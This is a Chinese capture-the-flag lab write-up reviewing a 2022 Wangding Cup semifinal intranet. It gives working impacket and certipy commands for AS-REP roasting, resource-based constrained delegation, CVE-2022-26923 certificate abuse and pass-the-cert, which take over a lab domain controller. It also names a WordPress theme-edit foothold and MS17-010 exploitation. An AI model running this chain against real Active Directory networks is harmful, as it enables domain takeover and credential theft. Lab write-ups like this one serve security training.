春秋云境-2022网鼎杯半决赛复盘

内网地址 Host or FQDN 简要描述
172.22.15.26 外网 WordPress 服务器
172.22.15.24 XR-WIN08 存在 MS17-010 漏洞;ZDOO 全协同管理平台、phpMyAdmin 服务
172.22.15.35 XR-0687.xiaorang.lab 域用户 lixiuying 对该主机有 Generic Write 权限
172.22.15.18 XR-CA.xiaorang.lab CA 证书服务器
172.22.15.13 XR-DC01.xiaorang.lab 域控制器

Wordpress

后台弱口令,修改主题:/wp-content/themes/twentytwentyone/index.php

MS17010

172.22.15.24 永恒之蓝,连接数据库,发现域内账号

AS-REP Roasting

跑存活 + cmd5 + Roasting,出来两个凭证

[email protected]	winniethepooh
[email protected] 1qaz2wsx

RBCD

查一下域内委派关系

impacket-findDelegation -dc-ip 172.22.15.13 xiaorang.lab/lixiuying:winniethepooh

再用 findCreator 查一下,发现 lixiuying 对 XR-0687$ 具有 Generic Write 权限,打RBCD

impacket-addcomputer -computer-name 'TEST$' -computer-pass 123456 -dc-host DC-1.test.com -dc-ip 172.22.15.13 xiaorang.lab/lixiuying:winniethepooh

impacket-rbcd -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'TEST$' xiaorang.lab/lixiuying:winniethepooh

impacket-getST -dc-ip 172.22.15.13 -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator xiaorang.lab/'TEST$':123456

export KRB5CCNAME=Administrator@[email protected]
impacket-wmiexec -dc-ip 172.22.15.13 -k -no-pass [email protected] -target-ip 172.22.15.35

ADCS - CVE-2022-26923

域内还有一台CA,肯定是打提权洞,certipy扫一下

certipy-ad find -u '[email protected]' -p 'winniethepooh' -dc-ip 172.22.15.13 -vulnerable -stdout 

image-20250527221759020

尝试 CVE-2022-26923,添加账号

certipy-ad account create -u lixiuying -p winniethepooh -dc-ip 172.22.15.13 -user evil -pass Qwer1234 -dns XR-DC01.xiaorang.lab -debug

配置hosts,请求证书

certipy-ad req -u '[email protected]' -p Qwer1234 -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template Machine -debug 

认证证书

certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 -debug

报错:KDC_ERR_PADATA_TYPE_NOSUPP

通过Schannel协议进行Pass The Cert,提取密钥与证书

certipy-ad cert -pfx xr-dc01.pfx -nokey -out xr-dc01.crt
certipy-ad cert -pfx xr-dc01.pfx -nocert -out xr-dc01.key

配置evil到域控进行RBCD

python3 passthecert.py -action write_rbcd -crt xr-dc01.crt -key xr-dc01.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-from 'evil$' -delegate-to 'XR-DC01$'

image-20250527222856022

PTT

impacket-getST xiaorang.lab/'evil$':Qwer1234 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
export KRB5CCNAME=
impacket-wmiexec XR-DC01.xiaorang.lab -no-pass -k -dc-ip 172.22.15.13